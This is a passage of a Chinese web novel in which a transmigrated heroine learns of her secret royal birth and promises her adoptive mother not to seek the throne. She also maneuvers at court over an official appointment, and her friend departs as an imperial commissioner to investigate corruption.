陆锦澜在家歇了五日,终于决定“病愈”了。 她在晚膳时宣布自己明日去上朝,陆今朝脸色变了变,“澜儿,一会儿到书房来,娘想跟你说会儿话。” 陆锦澜到了书房,陆今朝已经在那儿等着了。 “娘,您找我什么事啊?” “没什么事,只是你说你明日要去上朝了,娘这心里七上八下的。” 陆锦澜笑道:“朝上的事儿,您不用担心。虽然那是个龙争虎斗的地方,可我也不是吃素的啊,不会让别人害了我的。” 陆今朝摇了摇头,“娘不是担心别人,娘是担心你。” “你这几日天天把自己关在屋子里,愣 愣的出神,想事儿。你起来了,娘琢磨着,你应该是想好了。” “可为娘很是害怕,所以不得不问问你,你是以做臣子的心思回到朝上呢?还是以……做帝王的心思回到朝上?” 陆锦澜猛然一惊,“娘,你……你怎么知道的?” 第108章 陆锦澜回想了一下,她确信自己没有跟任何人说,只是让凛丞帮她到慈安寺供两盏灯。 她忙问:“是不是凛丞说了什么?” 可随即想到凛丞也不知内情,她只是告诉他,这是两位逝去的故人。 因为死得凄惨,恐魂魄不宁,陆锦澜总梦到二人向她啼哭。所以她便想在佛前供奉两盏长明灯,以次微光指引二人脱离苦海,早登极乐。 陆今朝道:“凛丞什么都没说,我也没问他。只是我见你这几日神思不属,便想去慈安寺捐些香油,积福积德。碰巧主持认识我,说前两日你的夫郎来过,为逝者供了两盏灯。” “凛丞他娘是我的挚交,她家有人故去,我岂会不知?我当时便觉得蹊跷。” “于是我趁主持不注意,看了眼灯下压着的字笺。虽然凛丞故意把字迹写得很模糊,但那笺上的两个名字碰巧我都熟悉,并不难辨认。” “顾飞卿,我的知己好友。顾怀瑜,她的亲弟弟。” 想到死守多年的秘密突然被陆锦澜得知,陆今朝不禁长叹一声,“想必你已经知道了你的身世,你老老实实告诉我,你是怎么知道的?” 陆锦澜垂下眼眸,将天牢会见凌之静,意外得知身世的事如实相告。 陆今朝点了点头,“终究是瞒不住你,好啊。你既然已经知道了,还认我这个娘吗?” 陆锦澜眼眶一红,“娘,你说什么呢?你永远都是我娘,这点永远不会改变。” 她跪在陆今朝面前,含泪道:“您当初冒险将我收为长女,这么多年,您和爹待我视如己出,尽心尽力将我养大,女儿今生今世都无以为报。” “您明明知道我不是您亲生的,依然立我为少主,把陆家交给我。” “女儿天性顽劣,总是让您操心。这几年来,您为我在京城和云州两地之间数次奔走,从无怨言。” “您怕我的身世招来祸事,特地为我结下宋家这门亲事。为了我的安稳人生,您费尽心机谋划操劳。这份苦心,女儿又怎会不知?” “您总是包容我、鼓励我、相信我,一次又一次的支持我,您是这世上最好的母亲。娘……” 陆锦澜拉着陆今朝的衣袖,“您别不要我。” 陆今朝此时早已泪如雨下,泣不成声。 她擦了擦陆锦澜脸上的泪,哽咽道:“傻孩子,娘怎么会不要你?娘到了这个岁数,只有四个孩子。” “你妹锦淇,生来淘气,娘从未对她抱有什么期望。你两个弟弟虽然是你爹亲生,性格也乖巧,可毕竟是男儿家,早晚要嫁出去的。” “你是我和你爹的第一个孩子,从我把抱回家那日起,我们便决定死守住这个秘密,把你当成自己的孩子来养。” “当时怕人怀疑追查,我对外谎称你爹已经有孕数月,我陪他到娘家探亲。实际上,我和你爹带着你躲到山中,一待就是小半年。” “我们第一遭为人母父,事事亲力亲为。回到家中,虽然仆从一大堆,但你爹还是日日离不开你,夜夜都要自己带着。你能跑能跳会说话之后,你爹才生下贤儿,反而很少自己带。” 说到这儿,陆今朝颇为感慨地叹了口气,“澜儿啊,我和你爹在你身上倾注了全部的心血和精力,你是我们最心爱的女儿。可我们不求别的,只希望你能平平安安。” “你实话告诉我,你这几天都想了什么,可想出什么结果了?” 陆锦澜擦了擦眼泪,老实道:“我没想出什么结果,就是琢磨了很多种可能。” 要不要争帝位是大事,不仅涉及到她自己,还涉及到她的家人、身边的朋友,甚至影响整个国家未来的走向。 她在现代买一件羽绒服都要纠结半个月,这种掉脑袋的事儿哪是一时半会儿能下决断的? 凌之静纠结了十八年,当然,陆锦澜用不了那么久,但她现阶段还在踌躇。 陆锦澜坦诚道:“孩儿既然得知了自己的身世,便有些心绪难平。定北侯告诉我的时候,便问了我一个问题,她问我要不要做皇帝。” “我说那要看需要付出什么代价,她说如果我要皇位,便要付出家破人亡众叛亲离的代价。” “我不知道她怎么得出这八个字的,但她这句话一直盘旋在我脑子里,我因此做了很多种设想。” “几十种可能算下来,结果都不太乐观。假使皇上良心发现认了我,给了我争夺帝位的资格。摆在我面前的路,依然是艰难险阻。” “大皇女不是好相与的,而且皇上让她入朝,便是有意立她为皇储。我这个来路不明的女儿,名不正言不顺,我的存在对皇上来说,本身就是不光彩的事,她怎会为了我去说服朝臣说服天下人?” “要不要争皇位?该不该争皇位?能不能争到皇位?这些问题,我反复的想,反复推演。” “抛开要不要和该不该,只推演能不能这一点。我想我要皇位,几乎要硬抢。我的势力在边关,在京中,我还是势单力薄。我脑海中演练数次,都没有必胜的把握。” 陆今朝急道:“那你就不要想了!我们不要,我们不争,不行吗?” 陆锦澜迟疑道:“可是……可是我觉得赵祉钰未必是个好皇帝,如果我做,一定能比她做得好。” “澜儿!”陆今朝急切道:“你不是常说事情不只有一种解决办法吗?就算她将来不是个好皇帝,你就一定要豁出一切去抢那个皇位吗?你不要命了?” 陆今朝说着呛了口气,剧烈地咳嗽起来。 陆锦澜忙道:“娘你别急,我没一定要做什么,我只是在试想,您快喝口茶。” 陆今朝平复着呼吸,疲惫地摆了摆手,“就算你做的事是对的,但为什么一定要你去做呢?万一事败,怎么办?” 陆锦澜低声道:“娘,你放心,我知道自己几斤几两,没有绝对的把握我绝不会冒然行事的。” “皇位,虽然是天大的诱惑,可是女儿并没有被这个诱惑冲昏头脑。我最大的顾忌就是您和爹,还有全家上下老老小小。” “孩儿是一家之主,理应为一家老小遮风避雨,不会让这个家风雨飘摇。” 陆锦澜连连叹气,“若要人不知,除非己莫为。你一旦有个这个心思,早晚会被人看出来。赵敏成不傻,大皇女也不是吃素的。” “你和朝臣们如何斗,娘都不怕,可你争皇位无异于虎口夺食。澜儿,你答应娘,绝了当皇上的念头,行吗?” 陆锦澜看着她,没有吭声。 陆今朝道:“我要你答应我,不是不会冒然行事,而是压根不做这件事。不论以后你寻到了什么样的好时机,得到了什么样的助力,都不要有这个念头。” “天家富贵,到底有什么好的?那把椅子,值得你赌上性命吗?毫不客气的说,咱们家富可敌国。国库里的银子,未必比咱家多。” “你已经封侯了,地位崇高,备受敬仰,还不够吗?” “不是娘舍不得让你认别人当娘,也不是娘糊涂,不知道做皇帝的好。而是娘看透了,那座皇宫不是你这个重情重义的人该待的地方,那把龙椅上就没坐过一个好人。” “我知道,皇上现在待你不错。可她现在对你好,完全是因为她心虚,她愧疚!一旦她知道你已经得知真相,她说不定就要防备你了。澜儿,伴君如伴虎啊。” “你很聪明,你仔细想想,皇上和你是一类人吗?那个大皇女,才跟她一模一样,她怎么肯把皇位 传给你?” “就算你逼着她认了你,她一个自信到几乎自恋的人,怎么会传位给一个和她骨子里完全两样她的人?” “你刚刚说得没错,一旦你决定要争,几乎等于硬抢,势必要血染宫墙。” “到时命悬一线胜负难料,咱们全家陪葬一起死了,倒也干净,省得互相牵挂。娘不会怪你,可你对得起当初拼死护你,把你送到我手上的顾飞卿吗?” 陆锦澜猛然抬起头,“娘,顾家姑母是被谁害死的?我的生父,是被谁害死的?” 陆今朝沉默片刻,摇了摇头,“我不知道,你姑母走得急,只交给我一张写着你生辰八字和母父姓名的字条,便咽气了。” “你是六月初一生的,娘一直告诉你是九月初六,就是怕有人把你联想成当年那个孩子。当年的真相恐怕这世上已经没有几个人知道了,这么多年来,我也只是凭空猜测,不敢妄下定论。” 陆锦澜:“您刚才说皇上对我好,是因为愧疚,难道当年是她……” 陆今朝摇了摇头,“我不知道,但我想,就算她不是主谋,凶手也得到了她的默许。” “你想,顾怀瑜当年是她的正夫。顾怀瑜生了你,之后便不明不白的死了。恰逢她那时登上皇位,如果和她无关,她难道不该追查真相吗?她不该为她的正夫治丧悼念吗?可她什么也没做。” “顾家本就人丁单薄,从那之后,更像是凭空消失一般。几年后,我悄悄打听过,顾怀瑜这个名字已经被彻底抹去。她的帝王记事里,没有提到顾氏一句,更没有提到顾氏的孩子。” “你姑母官至五城兵马司指挥使,襄助她登上皇位,有从龙之功,同样被抹去了姓名。” 陆今朝仰头长叹,“你姑母和你生父已经用两条性命,证明了最是无情帝王家。你还要搭上第三条命,甚至更多的性命吗?” 陆今朝说罢跪了下来,陆锦澜忙道:“娘你快起来!” 陆今朝拂开她的手,固执道:“我要你答应我,放弃当皇帝的念头,更不要与皇上相认。你难道指望一个冷血无情的凶手在你面前忏悔,然后将万里江山补偿给你吗?” 陆锦澜忙道:“不,我从没这么想,她也不会那么做。” 陆今朝含泪道:“那你就答应我,放下当年的旧事,忘了自己本来的身世。你是我的孩子,你想做大臣也可以,辞官不做也可以,咱们全家搬去你的封地也可以。你怎么都行,就是不要想着去做皇帝,不要做赌命的事,娘求你!” 陆锦澜望向陆今朝,她这两年新添了许多白发,眼角的皱纹愈发深刻。 她双目红肿嘴唇颤抖,死死抓住陆锦澜的手臂,低声恳求:“娘年近半百,你可怜一下为人母的苦楚。不要让娘日夜悬心,生怕你出了门就不能回来。别去争皇位,行吗?” 陆锦澜含着眼泪一寸一寸的低下头,轻轻拭去她的眼泪,温声应允:“娘你别怕,我答应你,我不争了。” 陆今朝松了口气,用力地抱住陆锦澜,“对不起,要你一辈子做陆家的女儿,委屈你了。娘就自私这一次,仅此一次。” 陆锦澜靠在母亲的肩上,轻声道:“皇上对我的感情很复杂,您有一句话说得特别对,她对我好,是因为她问心有愧。” “我会好好利用皇上的这份愧疚,只要我不戳破,这份愧疚足以保咱们全家荣华富贵,安稳一生。” * 陆锦澜重新回到朝上,表面上看起来和从前一样,实则已经换了套行事方法。她更放松,也更会装糊涂。 反正她不犯什么大错,皇上就不会把她怎么样。说不定犯点错,皇上更高兴,伺机补偿她点儿什么,慰藉自己不安的良心。 陆锦澜换个角度一想,她还是很幸福的。有个养娘,对她有爱,什么都给她。有个亲娘,对她有愧,也能给她点什么。 忽略掉生母有可能杀了生父这点,其实上天对她还挺照顾的。 她在现代做留守儿童,双亲重组家庭后,她彻底成为被抛弃的孩子。而现在她不再缺母父了,甚至还比别人多出来点,算上岳母岳父,这辈子再也不缺乏长辈关爱。 她甚至都在想,等到若干年后,长辈们都走了,她年年上坟,要准备好几大车烧纸,不然这么些人,都不够分。 陆锦澜是个天性乐观的人,凡事就看怎么想。 虽然身世这事冷不丁吓了她一跳,但冷静下来,这狗血的身世,细品起来,也是别有一番滋味。 下朝后,不出意外,皇上把她叫到书房说话,同时被留下的还有丞相晏维津。 皇上还没来,二人站在书房内等着。 晏维津忽然问她,“听说,你去看了凌之静?” 陆锦澜愣了一下,随即意识到可能是无辛随口说的,便道:“是啊,凌照人被流放的时候,托我帮她给她娘送点东西。” 晏维津微微点头,“通人情是好事,难得你没有拜高踩低,这个时候还肯帮衬一二。不过,你见到凌之静,她有没有对你说什么?” “说什么?”陆锦澜从晏维津淡然微笑的目光里,嗅到了探知的意味。 她故作不察,歪着头寻思了一下,“她说我谢谢我为她跑一趟天牢,说了些客套话。” “是吗?还有呢?” “还有,就是……她说我像一位故人。” 晏维津抬了抬眸,“你就没问问她,是像哪位故人?” 陆锦澜笑道:“我问了,她不肯说。” 晏维津带着怀疑的目光看向她,“哦?她不肯说,你就没有好奇?就没有追问?” 陆锦澜点头,“有啊,但她就是不肯说。” 陆锦澜勾着嘴角话锋一转,“说起来,我也想问问相尊大人。” “您也说过我像一位故人,我问您是哪位故人的时候,您也不肯说。到底是哪位故人呢?我好奇极了。” 问题骤然被丢了回来,晏维津一时语塞,“这个……这个……” 陆锦澜笑吟吟地倚在桌边,看着她纠结的神情,追问道:“到底是哪个啊?” 桌上有一杯热茶,陆锦澜手肘支在那儿,一旁的宫男低声提醒:“陆侯小心。” 陆锦澜瞥了他一眼,是个模样周正,天生了一双笑眼的美人。 陆锦澜勾了勾嘴角,“我以前怎么没见过你,新来的?” 小宫男腼腆地点了点头,轻声回道:“奴才原来是在御花园喂鹤的,皇上偶尔喝了我沏的茶,夸我沏得好,才把调到南书房来。” 陆锦澜笑着打量着他的身姿,“嗯,你这脖子长得好看,果然养鹤人都有几分鹤的身姿。对了,你叫什么名字?今年多大了?” 晏维津以为陆锦澜见着美男已经忘了追问她了,她便在一旁瞪了她一眼,心道:这是南书房,不是逢春楼,你在这儿撩拨什么? 没想到陆锦澜跟小宫男说着话,突然又提醒她:“相尊大人,你想到了没有?我等着您的答案呢。” 晏维津咬了咬牙,陆锦澜又看向那宫男。 小宫男道:“奴才十六了,贱名恐污了陆侯尊耳,不值一提。” 陆锦澜不依,“我偏要问,你不说,我就要猜了。你叫鹤卿,是不是?” 小宫男噗嗤一笑,连忙摇头。 “不是?那我要乱猜了,你是不是名字太难听了,才不敢告诉我,难道你叫……馒头?” 小宫男急得红了脸,“陆侯欺负人,谁会叫这个名字啊?” 陆锦澜笑道:“你不告诉我,我只能猜这个。” 晏维津听着两人打情骂俏,越发心浮气躁。 偏偏陆锦澜铁了心不放过她,说笑之余对她道:“相尊大人想到了吗?想不到就不必费心了。” 晏维津松了口气,擦了擦额上的虚汗,无奈道:“老妇年迈健忘,只是觉得眼熟,实在是想不起来了。” 陆锦澜点头道:“您和凌之静都认识的人,想必皇上也认识,我问皇上就是了。” 一句话让晏维津差点急火攻心,急道:“不不不,这种小事还是别打扰皇上了!” 陆锦澜怪道:“不是您提起来的吗?明知道我这人好奇心重,您还老提话头,不给话尾,真要把人憋死了。我索性问了皇上,我就不信皇上会像你们似的,吞吞吐吐什么也不肯说。” 晏维津连声道:“别问了别问了,想必凌之静和老妇一样,人老了糊涂,说不出个什么。皇上……皇上也……” 她压低了声音:“皇上也有些年纪了,她大概也想不起来。多少家国大事等着皇上定夺,这种小事就别让皇上劳心了。” 陆锦澜脖子一挺,叛逆道:“我不管,我好奇,我就问!” 二人正说着,忽听外面高呼:“皇上驾到!” 晏维津心里七上八下的行了礼,紧张地盯着一旁的陆锦澜。 皇上刚让二人平身,陆锦澜便道:“皇 上,臣有一个和政事不相干的问题,想请皇上帮忙解答。” 晏维津心里咯噔一下。 第109章 晏维津拽了下陆锦澜的衣服,“既然和政事无关,还是不要说了。” 陆锦澜撇了撇嘴,“皇上,相尊大人不让臣说。” 赵敏成笑了笑,“什么事儿让你们两个捅捅咕咕的?说,朕让你说。” 陆锦澜轻咳一声,“臣……” 提起旧事,必然引发皇上的圣怒。 晏维津皱着眉,正想着一会儿如何跟皇上解释,忽听陆锦澜道:“臣看皇上您这南书房里多了个新来的小宫男,长得颇有姿色。” 陆锦澜成心吓唬晏维津,戏弄了片刻,一看目的得逞,嘴角不由翘起,笑道:“臣方才问他叫什么名字,他不肯说。可臣实在好奇,只好来问皇上。” 皇上“啧”了一声,方才陆锦澜说是与政事不相干的事,皇上已经想到不是什么正经事,却想不到这事儿这么不正经。 她左右看了看,的确有个生面孔,模样不错。 赵敏成皱着眉问:“你叫什么名字?” 小宫男听陆锦澜提起他,已经吓得不轻了。这会儿连忙拜倒在地,“回皇上,奴才姓许,名叫闰年。” 陆锦澜一笑,“这名别致,想是有什么典故。” 许闰年忙回道:“奴才是闰年生的,所以家母给我取了这个名字。” 陆锦澜点了点头,“那你要是有个弟弟,该叫闰月。” 许闰年刚要开口,赵敏成瞪了陆锦澜一眼,“好了,要不要朕把人赏给你,你带回家问个明白?” 陆锦澜忙敛了笑意,回道:“臣不敢。” 扯完了闲篇儿,开始说正事。 赵敏成道:“朕叫你们来,是想商量一下礼部的人事。罗大人告老还乡,尚书之位空缺,朕已经想好,让靖安侯来补这个位置。” 晏维津道:“靖安侯自然是当得起尚书一职的,只是这样一来,礼部左卿的位置又空了。” “礼部右卿冯大人年纪大了,她年轻时常年出使各国,风霜雪雨落下了病根,身体不好,时常在家养病。一到冬日,越发严重。她是为国家所累,咱总不能在这个时候罢她的官。” 晏维津说着瞥了眼赵敏成的脸色,赵敏成拨弄着茶盏,淡淡的应了一声。 晏维津便继续道:“靖安侯一向喜欢推陈出新,做了礼部尚书,必定有许多事要做。手下若没有得力的帮手,恐怕无法施展。” 赵敏成道:“朕也如此想,所以这个礼部左卿的人选要好生斟酌。” 晏维津道:“臣想推举一人,皇上可还记得韦三思?” 赵敏成手上一顿,“前次你向朕举荐此人,朕准了她到内廷司任职。人倒是勤恳,但她年纪不小了,礼部的事只怕她做不来。朕知道她是你的同乡,你有心提拔她,但此人不合适。” 皇上驳回去了,晏维津微微一笑,“臣只是不忍见有才干之人埋没,皇上既然认为韦三思不合适,那陶风、孔慎二人如何?” 赵敏成捻着杯盖默不作声,陆锦澜观察着二人的神情,感受到了一丝暗流涌动。 皇帝身处宫中,与那些不上朝的大臣接触有限。一到人事任免的时候,都得通过丞相来提供意见。 这就像一个人到餐厅吃饭,看似皇上是那个顾客,可以指着菜单说:“我要这个、这个,还有那个。” 实际上菜单是人家制定的,摆上去的,都是主推款。 你想要菜单之外的菜品,不好意思,人家自会热情礼貌花样百出的婉拒。 那个服务员就像丞相,会说:“这个没有,这个真没有。那个倒是有,但是今天来的菜不新鲜,吃了会坏肚子,您别点了。” 看似有得选,其实差不多。 陆锦澜洞察片刻,便开口道:“臣也想推举一个人。” 赵敏成微微一笑,抬眸道:“好啊,想必是你的同窗,朕正好想任用一些新人,给朝堂带来一股新风。” 晏维津不咸不淡道:“皇上说的是,新人新气象。只是学生年纪小,又没学习过朝务,恐怕担不起这么大的官职。” 陆锦澜忙道:“相尊大人多虑了。皇上,臣要举荐的不是我的同窗,而是礼部主事关山月。此人胆大心细,做事有条有理。” “臣病着的时候,她代臣做了许多事。每日还把办妥的事务写成书信,送到臣家里。她在礼部已经四年,每个环节都通,臣觉得她有能力做这个礼部左卿。” 晏维津见皇上点了点头,忙道:“这个名字臣从未听说过,一个小小的六品主事直接升任从二品的左卿,未免也太破格了。” 陆锦澜立刻道:“她既是个人才,早就该升了。之前不升,许是相尊大人诸事繁忙,一时失察。不过皇上宽厚,不会责怪您的。皇上求贤若渴,不拘一格用人才,不更显得皇上惜才爱才吗?” 两人争论起来,皇上倒是喝上了茶,暂时没打算说话。 晏维津想了想,又道:“若说能力出众就该提拔,那冯大人早该提拔了,也不至于一身伤病一把年纪,还只是个右卿。” 陆锦澜笑道:“相尊既如此说,皇上不如提拔冯大人做左卿吧,右卿的人选臣还是举荐关山月。皇上和相尊大人若有疑虑,就让此人先代礼部右卿。” “年前事多,臣就多交给她去办。等到年后,皇上看她事情办得如何,再决定要不要让她任职。” 赵敏成连连点头,“好,就这么办。先给她升至四品,代礼部右卿职,以观后效。” 陆锦澜连忙行礼,“臣代关山月,谢皇上赏识。” 两人这段对话,跟加了速似的,生怕旁人插进去一句。 晏维津愣了愣,“皇上,咱没这么做过啊。” 皇上现学现卖道:“靖安侯不是说了吗?不拘一格用人才,就这么办。” 事情定下来,晏维津告退。陆锦澜刚要走,皇上忽道:“这几天你是不是遇到什么事了?” 陆锦澜忙道:“没什么事儿,就是闹了场风寒,耽误了几日。” 赵敏成神色有几分狐疑,“之前明明好好的,你又是习武之人,一场风寒就让你病倒了?” 怀疑,无止境的怀疑,那个怀疑完这个怀疑。 陆今朝说得没错,若想人不知,除非己莫为。否则,身边这么多双怀疑的眼睛,堪比现代的核磁共振机,专门排查人体内的可疑病症。 一天到晚的刨根问底,陆锦澜烦不胜烦,干脆决定来个猛的,让她们再也不敢打听她的私隐。 于是,陆锦澜闷声道:“唉,其实光是风寒,臣也不觉得怎么样。可皇上您知道,臣府上有好几个夫郎, 个个如狼似虎。” “那晚曲国的小郎主,好生厉害,勾得臣欲罢不能。我们两个翻云覆雨,闹了一晚上。臣这腿肚子都抽筋了,他还要呢,臣就是铁打的身子也扛不住啊。再加上着凉,就一下病倒了……” 陆锦澜越说越兴奋,越说越高声。皇上却听得眉头紧锁,恨不得捂上耳朵。 一屋子宫男都听得红了脸,使劲儿憋笑。 赵敏成一拍桌子,“胡闹!谁问你这些来?你这……你这说的都是什么虎狼之词?上不得台面的话,竟说得堂而皇之,亏你还是个侯君,怎的如此荒唐?” 陆锦澜一脸茫然,天真道:“皇上不是问臣怎么病倒的吗?臣不敢欺君,所以据实相告,臣错了吗?” 赵敏成一摆手,“你没错,是朕问错了。朕羞于听你那些荒唐事,你赶紧回家去吧。” “是,臣告退。” 陆锦澜出来一看,晏维津在外面等她呢。 “陆侯留步。” “相尊大人,还有事吗?” 晏维津笑道:“没什么,只是方才你不是说要问皇上故人的事吗?怎么皇上许你问了,你倒没问?” 陆锦澜恍然大悟,“差点把这事忘了,多亏相尊大人提醒,我这就去问。” 陆锦澜一转身,晏维津连忙拉住她,“我刚刚细想了一下,我看陆侯根本没打算问吧?何故要做出这般姿态?” 陆锦澜笑了笑,“您好眼力,我本来是想问的,可后来一想,如果皇上恰巧不喜欢那位故人,而我又和她长得像,一问提醒了皇上,这不是给自己找麻烦吗?所以就没问。” “相尊大人,我聪明吧?” 晏维津点了点头,暂时相信了陆锦澜的说法。 晏维津意味深长道:“你说得对,不要给自己自寻烦恼,旧事莫再重提。对了,皇上刚刚把你留下来,说了什么?” 这要是聊了别的事,陆锦澜就回她两个字“秘密”,让她猜去。 但偏偏聊了些刺激的事,陆锦澜便欣然分享道:“皇上问我前几日怎么突然病倒了,我便告诉她……” 陆锦澜重复一遍原话,刚说到“腿肚子抽筋”,晏维津便涨红了脸拂袖而去。 陆锦澜追在后面喊:“相尊大人,我还没说完呢!相尊大人,您是急着回家吗?” 晏维津大步离开,头也不回。陆锦澜这才敛了脸上的笑意,转身离去。 * 陆锦澜“病愈”之后,更加务实了。她总觉得自己没当皇上是天下人的损失,她得做点好事,弥补天下人。 这日陆锦澜写了个条陈,正要去找项如蓁,晏无辛先找上门来。 “锦澜,你快去劝劝如蓁吧。” 陆锦澜一愣:“她怎么了?” 第110章 项如蓁为了补上前任留给她的惊天大窟窿,这两个月一直在查账。 不查不知道,一查吓一跳。很多账目上就能看出来的问题,竟然长久的存在。 项如蓁咬牙切齿地翻出律法,连夜拟出一长串的查办名单。烂账是谁经的手,谁做的主,谁拿了钱,一个个都别想跑。 她要往前追溯五十年,本朝加前朝,不管谁从户部的账上拿过不该拿的钱,现在都上了项如蓁的名单。 本金加罚款,外加利息。当年吞了多少,现在都得连本带利的吐出来。 这段时间,项如蓁得了很多外号。有人叫她老抠,因为她四处从人手里抠钱。 有人叫她死心眼儿,因为她不讲情面,不管谁的亲戚谁的朋友,谁都甭说情。说情没用,还会连累说情的一块儿被参,理由是:为官不正,公私不分。 项如蓁在京城狠狠抠了一个月,抠回来四十多万两银子,把能得罪的不能得罪的,都得罪遍了。 陆锦澜和晏无辛知道她的为人,一向鼎力支持。可听说项如蓁要做钦差,去巡视嬅国一十七州,彻查贪腐,追溯旧账,还是狠狠震惊了一下。 项如蓁还住在学院旁的宅子里,陆锦澜和晏无辛匆匆赶来的时候,项如蓁刚从宫里回来。 雪卿挺着大肚子,正带着仆从帮项如蓁收拾包袱。 陆锦澜一进门便忍不住道:“如蓁,你是不是疯了?你真要出京?” 项如蓁笑了笑,“就知道你们要来。雪卿你们先出去,我们说会儿话。” 雪卿红着眼,点了点头。 项如蓁关上门,将圣旨和尚方宝剑拿出来给二人看。 项如蓁道:“旨意已经请下来了,皇上准我全权查办一十七州所有官员。上到州牧,下到村官,一经查实便可查办,特许我先斩后奏,放手大干。” 二人绷着脸,眉头紧锁。 晏无辛道:“你当这是好事儿呢?这要是天大的好事,哪轮得上你?” “皇上多精明的人啊,但凡是露个脸就能占便宜的事儿,她就让大皇女去做了。” “反之遇到危险的事儿,人家压根不让自己孩子参与。你看咱们在边关打仗的时候,赵祉钰在京里享福呢。” 陆锦澜叹了口气,“无辛说得对,离京办事和在京办事根本就是两个概念。京城好歹是天子脚下,我们都在这儿,谁也不敢乱来。” “可你一旦出了京城,人生地不熟的,会遇到什么事儿就不好说了。你拿着尚方宝剑,那些人知道你是去问罪的,万一狗急跳墙,一定会对你下手。” “皇上让你做这个奉旨钦差,给你尚方宝剑,予你生杀大权,你当是对你好呢?” “她该料到你这一去,万分凶险。平日里查一地一事的钦差,丧命的都大有人在,更何况你要查十七州的事儿?皇上明知道这是深入虎穴九死一生,可她还是要你去卖命,真是一点也不心疼你啊!” 项如蓁轻叹一声,“我知道,我都知道。皇上这是在利用我。不是任用,因为皇上没有为我考虑长远。也不是重用,因为皇上不那么在意我的死活。” “书上说‘君子不器’,意思是君子不能沦为别人的工具。可我却不这么想,只要让我做我想做的事,做别人的工具,也没什么不可以。” “户部的帐不只是京城的帐,而是全国的帐,自然要彻查各地。贪腐就像顽疾,如果放任沉疴旧患不根除,这个国家怎么会好起来呢?” 晏无辛无奈道:“那也不该由你牵头来做啊,吏部呢?涉及了那么多官员,吏部的人怎么不去查?” 项如蓁道:“我提过要和吏部联合调查,吏部尚书说年底事多,吏部要忙官员考核升降的事,抽不出时间。只能派两个主事给我,算是帮手。” 陆锦澜气道:“吏部这是推诿。” 项如蓁笑道:“可能她们怕了,但我不怕。你不是常说有些人自己不下基层,天天在朝上瞎指挥吗?我现在下基层了,你们不会不支持我吧?” 陆锦澜愁道:“我们当然支持你,可是……可是用我娘的话说,就 算你做的事是对的,但为什么一定要你去做呢?还有两个月就过年了,雪卿也快生了,你这个时候出去,万一有个好歹……” 项如蓁坚定道:“因为我想去做。” “还记得咱们在学院时说的话吗?锦澜说过,盛世和皇帝是不是仁君没多大关系,而是取决于是否有治世能臣。” “我自负有几分本事,便要担起能臣之职。危险的事,总是很少有人去做。可我不做,又有谁能做?” “咱们出身不同,你们大概没体会过在法治最涣散的地方,滋生了多少腐败。” “我们县里有一条路,从我记事起总是修了挖,挖了修。年年修年年挖,折腾了近二十年,户部年年拨钱,鼓起来的却是当地官员的钱袋子,老百姓走的还是一条破路。” “类似的还有摇摇欲坠的破桥、打不上水的破井、四处漏雨的破学堂……你们无法想象,我从小看着这些事,我有多恨贪官。” 项如蓁回忆起旧事,情绪有些激动,不觉握紧了拳头。 晏无辛轻声道:“我们都恨贪官。”但随即补充道:“但肯定没你这么恨,你是忌恶如仇,我们……我们还是太懒了。” 项如蓁道:“你们不必像我一样,你们一直过着锦衣玉食的生活,没理由抛下一切去和那些恶人缠斗,何必拼个你死我活?但我不一样。” “虽然我现在做了大官住了大宅子,夫郎在怀,衣食无忧,但我忘不了那些让我握紧拳头的日子。” “我忘不了我是带着怎样的心情寒窗苦读,一路过关斩将,凭着一腔热血走到京城走上朝堂。” “我甚至总觉得,有一双眼睛在看着我。她在期盼着我践行当初的承诺,打造一个太平盛世。官场清廉,百姓富足。即使如我一样出身寒微的学子,依然可以平等的争取一切机会……” 晏无辛忙道:“你这个想法太理想化了,几千年以后都未必能做到。你不要给自己这么大的压力,根本没有那样一双眼睛在看着你。” “有!”项如蓁坚定道:“那双眼睛属于曾经的我,那时的项如蓁一无所有,只是一个偏远山村打猎为生的贫苦少年。” “可她一直在期盼,期盼有一个英雌能够出现,给她一个律法赋予的清明世界。让千千万万个如她一样的人,过上好日子。” “我要做那个英雌,就如我曾经所说,无怨无悔,至死方休。也许哪怕我有百年寿命,也完不成理想中的盛世大业。但我要去做,我要一直去做。” “我可以死在奔赴理想的路上,但我不能因为贪生怕死、因为夫郎孩子、因为我的挚友担心,我就选择放弃。你们是这世上最理解我的人,这一次,我希望你们也能理解我。” 陆锦澜红了眼眶,开口时已经有些哽咽,“不要说这些不吉利的话,你一定会平安回来的。要不你等两天,等我把手里的事交托一番,我陪你去。” 晏无辛擦了擦眼泪,“没错,我们陪着你,好歹放心些。” 项如蓁笑着摇头,“不必了,我又不是小孩子,出门还带两个伙伴?你们手里现在也有不少事,忙你们的吧,我会小心的。家里就劳烦你们照看,客气的话我就不说了。” 陆锦澜道:“家里这边你不用担心,你一走,我就让凛丞把雪卿接过去,到我府上待产。那边医师都是现成的,凛丞他们也有经验。可我还是更担心你,你带多少人去?” 项如蓁算了算,“皇上给我配了四个大内侍卫,我说人手不够,想让隋之带着一小队人马跟着我,皇上同意了。” 左隋之现在禁军营做校尉,她胆大心细。有她在,陆锦澜和晏无辛总算稍稍放下心。 晏无辛道:“我以协查的名义,从兵部再给你拨两百名精锐。为了以防万一,你到了当地,最好只用自己带去的人。” 陆锦澜道:“京城周边还好说,大不了派人送信回来,我们即刻过去。边关也好说,宋家军和赤诚军,都是你的强援。只怕是中间这段两不相靠,你要万分提防。” 项如蓁笑道:“知道知道,你们怎么公公爹爹的,这么磨叽呢?我会当心的。” 她瞥见陆锦澜放在桌上的条陈,“这是什么?” 陆锦澜差点忘了,“这是我写的关于普及科学种田的具体方案,本来想跟你讨论这个事儿,没想到你要出门。” 项如蓁一愣,“科学种田?何为科学啊?” 陆锦澜:“就是融汇各科目之学,总之就是一个融会贯通,更好做事的一种表达。讲求科学,任何事都能做得更好。” 项如蓁将条陈收起来,“好,那我拿着路上看,有了想法我写信给你。我要去科学查贪了,拜托二位不要愁眉苦脸。” “我把锦澜送我的霸王鎏金枪带上,我再穿上金丝软甲。咱们可是沙场征战之人,那些不过是一群中饱私囊之徒,想杀我?也要看看有没有那个本事。” 陆锦澜叮嘱道:“千万不要掉以轻心,小心人家给你耍阴招。我这儿有一瓶解毒丸,你一定要带在身上。” 两人千叮万嘱,第二天一大早陆锦澜和晏无辛站在城外的青山上,目送项如蓁的钦差队伍远去,直到再也看不见。 两人对视一眼,不约而同地叹了口气。 陆锦澜:“我有时真羡慕如蓁,她永远这么不顾一切,永远都能豁得出去。” 晏无辛笑了笑,“我看你也挺豁得出去的。” 陆锦澜摇头,“以前是,现在不能了。不过也很好,母父安康,挚友在侧,夫郎孩子热炕头,这也是我理想中的日子。” 